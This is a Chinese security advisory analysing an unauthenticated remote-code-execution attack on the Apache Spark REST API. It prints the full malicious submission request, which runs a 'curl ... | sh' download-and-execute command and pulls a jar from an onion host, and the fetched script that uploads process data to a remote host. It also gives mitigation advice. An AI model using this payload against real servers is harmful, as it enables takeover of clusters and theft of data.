安全漏洞早知道:首例Spark REST API未授权漏洞利用分析

  • A+
所属分类:网络安全文章

安全漏洞早知道:首例Spark REST API未授权漏洞利用分析

摘要

2018年7月27日,某安全平台首次捕获Spark REST API的未授权RCE漏洞进行攻击的真实样本。某云平台已能默认防御此漏洞的大规模利用。

这是首次在真实攻击中发现使用“暗网”来传播恶意后门的样本,预计未来这一趋势会逐步扩大。目前全网约5000台 Spark服务器受此漏洞影响。某云厂商监控到该类型的攻击还处于小范围尝试阶段,需要谨防后续的规模性爆发。建议受影响客户参考章节三的修复建议进行修复。

一、漏洞详情说明

Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎,是UC Berkeley AMP lab(加州大学伯克利分校的AMP实验室)所开源的类Hadoop MapReduce的通用并行框架。为了让使用者能够方便的控制系统进行计算和查看任务结果,Spark也提供了 WEB UI图形化界面和相应的 REST API来方便用户操作。

Spark作为大数据时代的”计算引擎”,一旦被攻破,企业的核心数据资产、计算能力、用户敏感数据都将被攻击者窃取;更进一步的,由于Spark自身的分布式特性,一个攻击点的攻破可能导致整个集群的沦陷。Spark权限设置不当,可能导致攻击者无需认证即可通过该 REST API来操作Spark创建任务、删除任务、查看任务结果等,从而最终获得执行任意指令的能力。

还原黑客攻击步骤:

  1. 攻击者通过web扫描的方式发现了一台Spark webui服务
  2. 构造攻击指令,并通过6066端口发送到该服务器的REST API
  1. POST /v1/submissions/create
  2. host:www.cesafe.com:6066
  3. "action""CreateSubmissionRequest""clientSparkVersion""2.1.0""appArgs": [ "curl x.x.x.x/y.sh|sh" ], "appResource""https://xxxx.onion.plus/SimpleApp.jar""environmentVariables": { "SPARK_ENV_LOADED""1" }, "mainClass""SimpleApp""sparkProperties": { "spark.jars""https://xxxxxxxx.onion.plus/SimpleApp.jar""spark.driver.supervise""false""spark.app.name""SimpleApp""spark.eventLog.enabled""false""spark.submit.deployMode""cluster""spark.master""spark://www.cesafe.com:6066" } }

该攻击payload指示服务器远程下载https://xxxxxxxx.onion.plus/SimpleApp.jar ,并执行攻击者指定的任意方法,该攻击者还通过洋葱网络来隐藏自己的相关信息。

3.对该 jar 包进行逆向分析,该 jar 包即是一个简单的执行命令的后门,执行 jar 包时,Spark服务器将会从洋葱网络中下载一段shell脚本并执行。

安全漏洞早知道:首例Spark REST API未授权漏洞利用分析

4.check该脚本如下:

  1. #!/bin/bash
  2. ps ax --sort=-pcpu > /tmp/tmp.txt
  3. curl -F "file=@/tmp/tmp.txt" http://www.cesafe.com/re.php
  4. rm -rf /tmp/tmp.txt

该脚本只是简单的将性能信息打印并回传,暂未进行进一步的攻击。

二、漏洞影响与变化态势

目前全网监控,开放了8080端口暴露在公网的Spark机器共有5000台左右,黑客可批量接管其中存在权限问题的机器。

在此之前,某云厂商曾针对分布式计算系统相关的漏洞进行过预警

这两个漏洞和利用方法非常相似,这也佐证了之前的预判。

随着加密货币经济的进一步繁荣,具有强大算力,但是较弱安全能力的分布式应用将面临更多的漏洞利用和黑客攻击。

由于Hadoop Yarn未授权漏洞在全网已经成为了黑客挖矿的一种重要手法,我们有理由相信Spark REST API漏洞也将很快被黑产利用。

三、网络安全专家建议

建议通过iptables或者安全组配置访问策略,限制对8088、8081、7707、6606等端口的访问;并且如无必要,不要将接口开放在公网,改为本地或者内网调用;

建议使用Spark的yarn控制模式,并且开启HTTP Kerberos对WEB UI进行访问控制;如采用Spark standalone模式,需要自行实现访问控制的jar包,并设置spark.ui.filters对WEB UI进行访问控制。

  • 服务器购买微信群
  • 阿里云&腾讯云&国外VPS
  • weinxin
  • 服务器购买QQ群
  • 阿里云&腾讯云&国外VPS
  • weinxin
CE安全网

发表评论

您必须登录才能发表评论!